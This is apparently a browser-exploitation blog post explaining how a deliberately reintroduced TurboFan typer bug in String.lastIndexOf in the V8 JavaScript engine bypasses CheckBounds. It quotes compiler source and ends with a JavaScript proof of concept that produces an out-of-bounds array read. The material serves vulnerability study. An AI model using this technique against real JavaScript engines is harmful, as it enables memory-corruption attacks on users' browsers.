Overview

In this section we’ll be focusing on checkbounds and try to bypass it. The bug used in this section is String.indexOf | String.lastIndexOf bug where the typer computed incorrect type for kStringIndexOf or kStringPrototypeIndexOf and kStringLastIndexOf or kStringPrototypeLastIndexOf. This post heavily rely of doar-e blog.

Setup

fetch v8
git reset --hard 8cd4009c5b7072ad224f19a9e668ec0ed7430599
gclient sync

Now we’ll apply the patch to enable the lastIndexOf bug. We’ll replace this code:

// src/compiler/typer.cc
    case Builtins::kStringPrototypeLastIndexOf:
      return Type::Range(-1.0, String::kMaxLength, t->zone());

To

// src/compiler/typer.cc
    case Builtins::kStringPrototypeLastIndexOf:
      return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());

Now we’ll compile the buggy d8 shell.

tools/dev/gm.py x64.debug
ninja -C out/x64.debug d8

CheckBounds

Before this commit exploiters were taking advantage of Bound-Check-Elemination to get read-write primitive from the typer bug. As discuss in this post, checkbounds prevents array from accessing index out of range and make sure the index is always less than the length. Prior to this commit, if the index was less than the length the CheckBounds node gets eliminated and removed from during simplified lowering.

// src/compiler/simplified-lowering.cc
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
    CheckParameters const& p = CheckParametersOf(node->op());
    Type const index_type = TypeOf(node->InputAt(0));
    Type const length_type = TypeOf(node->InputAt(1));
    // [...]
        if (lower()) {
            if (index_type->Min() >= 0.0 &&
                index_type->Max() < length_type->Min()) {
              // The bounds check is redundant if we already know that
              // the index is within the bounds of [0.0, length[.
              DeferReplacement(node, node->InputAt(0));
            }
          }
      // [...]
  }

However now it’s not the case, instead of eliminating the CheckBounds node, they introduce an aborting bounds checks that crashes rather than deopts. Then It’ll lower into the CheckedUint32Bounds while visiting checkbounds in simplified lowering.

// src/compiler/simplified-lowering.cc
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
    CheckParameters const& p = CheckParametersOf(node->op());
    Type const index_type = TypeOf(node->InputAt(0));
    Type const length_type = TypeOf(node->InputAt(1));
    // [...]
        if (lower()) {
          CheckBoundsParameters::Mode mode =
              CheckBoundsParameters::kDeoptOnOutOfBounds;
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            mode = CheckBoundsParameters::kAbortOnOutOfBounds;
          }
          NodeProperties::ChangeOp(
              node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
        }
      } 
      // [...]
  }

Also the CheckUint32Bounds node gets lowered in EffectControlLinearizer. And in case of out-of-bounds there’ll be nodeoptimization instead it’ll reach to the Unreachable node.

// src/compiler/effect-control-linearizer.cc
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
                                                        Node* frame_state) {
  Node* index = node->InputAt(0);
  Node* limit = node->InputAt(1);
  const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());

  Node* check = __ Uint32LessThan(index, limit);
  switch (params.mode()) {
      // do not deoptimize in case of out-of-bounds
    case CheckBoundsParameters::kDeoptOnOutOfBounds:
      __ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
                         params.check_parameters().feedback(), check,
                         frame_state, IsSafetyCheck::kCriticalSafetyCheck);
      break;
      // Reach to Unreachable node in case of 'kAbortOnOutOfBounds'
    case CheckBoundsParameters::kAbortOnOutOfBounds: {
      auto if_abort = __ MakeDeferredLabel();
      auto done = __ MakeLabel();

      __ Branch(check, &done, &if_abort);

      __ Bind(&if_abort);
      __ Unreachable();
      __ Goto(&done);

      __ Bind(&done);
      break;
    }
  }

  return index;
}

Now if we further dig into the code, we can see that in MachineOperatorReducer::Reduce function Uint32LessThan node can lower to UInt32Constant.

// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
  switch (node->opcode()) {
   // [...]
    case IrOpcode::kUint32LessThan: {
      Uint32BinopMatcher m(node);
      if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
      if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
      if (m.IsFoldable()) {                                    // K < K => K
        return ReplaceBool(m.left().Value() < m.right().Value());
      }
      if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
      if (m.left().IsWord32Sar() && m.right().HasValue()) {
        Int32BinopMatcher mleft(m.left().node());
        if (mleft.right().HasValue()) {
          // (x >> K) < C => x < (C << K)
          // when C < (M >> K)
          const uint32_t c = m.right().Value();
          const uint32_t k = mleft.right().Value() & 0x1F;
          if (c < static_cast<uint32_t>(kMaxInt >> k)) {
            node->ReplaceInput(0, mleft.left().node());
            node->ReplaceInput(1, Uint32Constant(c << k));
            return Changed(node);
          }
          // TODO(turbofan): else the comparison is always true.
        }
      }
      break;
    }

Analyzing some behavior

Sample code:

function opt_demo() {
	let arr = [1.1,1.2,1.3];
	let idx = 4;
	return arr[idx];
}

opt_demo();
%OptimizeFunctionOnNextCall(opt_demo);
opt_demo();

We can see that the NumberLessThan node as well as CheckBounds node are generated in Typer Phase. Here if the NumberLessThan node returns True the LoadElement will load the number and return else it’ll return nothing, as seen in the following image.

turbofan-ss

So what’s inside the NumberLessThan node?

Reduction TypeNarrowingReducer::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;

  Type new_type = Type::Any();

  switch (node->opcode()) {
    case IrOpcode::kNumberLessThan: {
      // TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
      // comparisons with the operation typer).
      Type left_type = NodeProperties::GetType(node->InputAt(0));
      Type right_type = NodeProperties::GetType(node->InputAt(1));
      if (left_type.Is(Type::PlainNumber()) &&
          right_type.Is(Type::PlainNumber())) {
        if (left_type.Max() < right_type.Min()) { 
          new_type = op_typer_.singleton_true();    // [1]
        } else if (left_type.Min() >= right_type.Max()) {
          new_type = op_typer_.singleton_false();
        }
      }
      break;
      // [...]
    }

  Type original_type = NodeProperties::GetType(node);
  Type restricted = Type::Intersect(new_type, original_type, zone());
  if (!original_type.Is(restricted)) {
    NodeProperties::SetType(node, restricted); // [2] if singleton_true
    return Changed(node);
  }
  return NoChange();
  }
}

If the left_type.Max() is always less than right_type.Min(), new_type will be set to singleton_true() and the type of the node gets changed to restricted i.e, in this case new_type.

TypeNarrowingReducer::Reduce(Node* node) is being called from the LoadEliminationPhase where kNumberLessThan will be switched.

loadelimination

With our sample code we failed to set new_type to singleton_true() because the condition doesn’t met.

  1. left_type.Max() = 4
  2. right_type.Min() = 3

In this case left_type.Max() < right_type.Min() is always false.

left-right-type

If we further dig into it.

left-right-type

As we can see in the above image that the left_type.Max() is the value from CheckBounds node and the right_type.Min() is the length of our array. Also, we can confirm that the left_type.Max() is the index. So lets modify the code in such way that the left_type.Max() always remain less than right_type.Min() which we’ll do with the help of typer bug lastIndexOf.

Writing POC

Writing the POC has always been the hardest part for me even if i understand the bug. Because sometime it’s quite tricky to trigger the bug. Let’s see what we’ve got till now

  1. In simplified lowering checkbounds node doesn’t get eliminated instead kAbortOnOutOfBounds mode is set and lowered to the CheckUint32Bounds.
  2. CheckUint32Bounds node then lowered to Uint32LessThan node in EffectControlLinearizer.
  3. The typer calculates the incorrect range for kStringPrototypeLastIndexOf i.e., return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone()); instead of return Type::Range(-1.0, String::kMaxLength, t->zone());

Poc Writing Steps:

  1. First we’ll create a string which is of length kMaxLength = 1073741799
  2. Then we’ll try to get last index of the string which should return 1073741799 in actual. But at this point typer thinks that it’s in range Range(-1.0, 1073741798)
  3. Now we’ll modify returned value 1073741799 in such a way that it would not be 0 but the typer assumed value 1073741798 would be 0 or less than the right_type.Min() but 0 would be best.

Let’s begin:

let str = "aaaaaaa"+"xpldotjs".repeat(134217724); // [1]
function trigger() {
	let idx = str.lastIndexOf(''); // typer: Range(-1, 1073741798), actual: (-1, 1073741799)
	idx = idx + 25;   // [2]: typer: 1073741798 + 25 = 1073741823, actual: 1073741799 + 25 = 1073741824
	idx = idx >> 30;  // [3]: typer: 1073741823 >> 30 = 0, actual: 1073741824 >> 30 = 1
	idx = idx * 4;    // [4]: typer: 0 * 4 = 0, actual: 1 * 4 = 4
	let arr = [1.1,1.2]; // [5] oob
	return arr[idx];
}

console.log(trigger());
%OptimizeFunctionOnNextCall(trigger);
console.log(trigger());

In the POC, we created a string with length 1073741799 [ 1 ]. Then we called the lastIndexOf function which gives the result 1073741799 and we know this because the fact is that it’s the length of the string that we’ve created. But, because of the Incorrect typing Turbofan generates the rage of Range(-1, 1073741798). Then we added +25 in the idx variable. It is because 1073741798. So the question is why adding 25? Because the right shift 30 is 2 power 30 = 1073741824 and when we add idx variable with 25 it becomes 1073741799 + 25 = 1073741824 in actual, but in typer it’s 1073741798 + 25 = 1073741823. So if we right shift the idx variable with 30 after adding 25

1. Typer: idx = 1073741823; idx >> 30 = 0   
    this is equivalent to 1073741823 / 1073741824 = 0
2. Actual: idx = 1073741824; idx >> 30 = 1 
    this is equivalent to 1073741824 / 1073741824 = 1

Eventuall, in NumberShiftRight the range is calculated as Range(0,0) in the NumberShiftRight. However the actual range should be Range(0,1). Then it is passed into the SpeculativeNumberMultiply node as input node 0 in Typerphase.

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToUint32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  int32_t min_lhs = lhs.Min();
  int32_t max_lhs = lhs.Max();
  uint32_t min_rhs = rhs.Min();
  uint32_t max_rhs = rhs.Max();
  if (max_rhs > 31) {
    // rhs can be larger than the bitmask
    max_rhs = 31;
    min_rhs = 0;
  }
  double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
  double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);

  if (max == kMaxInt && min == kMinInt) return Type::Signed32();
  return Type::Range(min, max, zone());
}

The SpeculativeNumberMultiply is also reduced into NumberMultiply during the typed optimization. In NumberMultiply function:

  1. lhs = Range(0,0) // Output of NumberShiftRight, in actual the range is Range(0,1)
  2. rhs = Range(4,4) // NumberConstant 4
Type OperationTyper::NumberMultiply(Type lhs, Type rhs) {
  // [...]
  // Compute the effective type, utilizing range information if possible.
  Type type = (lhs.Is(cache_->kInteger) && rhs.Is(cache_->kInteger))
                  ? MultiplyRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max())
                  : Type::OrderedNumber();

  // Take into account the -0 and NaN information computed earlier.
  if (maybe_minuszero) type = Type::Union(type, Type::MinusZero(), zone());
  if (maybe_nan) type = Type::Union(type, Type::NaN(), zone());
  return type;
}

In our case both lhs and rhs are type kInteger then it calls MultiplyRanger function which returns the range Range(0,0) but in actual the range should be Range(0,4).

Now, In LoadElimination phase TypeNarrowingReducer::Reduce is called, where the it is switched to case IrOpcode::kNumberLessThan.

Reduction TypeNarrowingReducer::Reduce(Node* node) {
  // [...]
  switch (node->opcode()) {
    case IrOpcode::kNumberLessThan: {
      // TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
      // comparisons with the operation typer).
      Type left_type = NodeProperties::GetType(node->InputAt(0));
      Type right_type = NodeProperties::GetType(node->InputAt(1));
      if (left_type.Is(Type::PlainNumber()) &&
          right_type.Is(Type::PlainNumber())) {
        if (left_type.Max() < right_type.Min()) {
          new_type = op_typer_.singleton_true();
        } else if (left_type.Min() >= right_type.Max()) {
          new_type = op_typer_.singleton_false();
        }
      }
      break;
    }
    // [...]
  }
  
  Type original_type = NodeProperties::GetType(node);
  Type restricted = Type::Intersect(new_type, original_type, zone());
  if (!original_type.Is(restricted)) {
    NodeProperties::SetType(node, restricted); // if singleton_true: restricted = new_type
    return Changed(node);
  }
  return NoChange();
  }

In our case,

  1. left_type.Max() = 0
  2. right_type.Max() = 2

This time the new_type is set to singleton_true() because the condition left_type.Max() < right_type.Min() is true which means index is less than the length of array. Also the new_type is HeapConstant. Then the type of node is set to HeapConstant. The important point here to note is only the type of the node is changed.

Also in LoadEliminationPhase, ConstantFoldingReducer::Reduce function is called. There the type of the NumberLessThan is retrieved. Then it begins to check the type of the node NumberConstant, in our case it’s HeapConstant. In our case the condition IsHeapConstant() met, so the node NumberLessThan node will be replaced by the node HeapConstant.

Reduction ConstantFoldingReducer::Reduce(Node* node) {
    // [...]
    Type upper = NodeProperties::GetType(node);
    if (!upper.IsNone()) {
      Node* replacement = nullptr;
      if (upper.IsHeapConstant()) {
        replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
      } 
      // [...]
      if (replacement) {
        // Make sure the node has a type.
        if (!NodeProperties::IsTyped(replacement)) {
          NodeProperties::SetType(replacement, upper);
        } // replacement = `HeapConstant`
        ReplaceWithValue(node, replacement); // replace the `NumberLessThan` by `HeapConstant`
        return Changed(replacement);
      }
    }
  }
  return NoChange();
}

OUTPUT:

output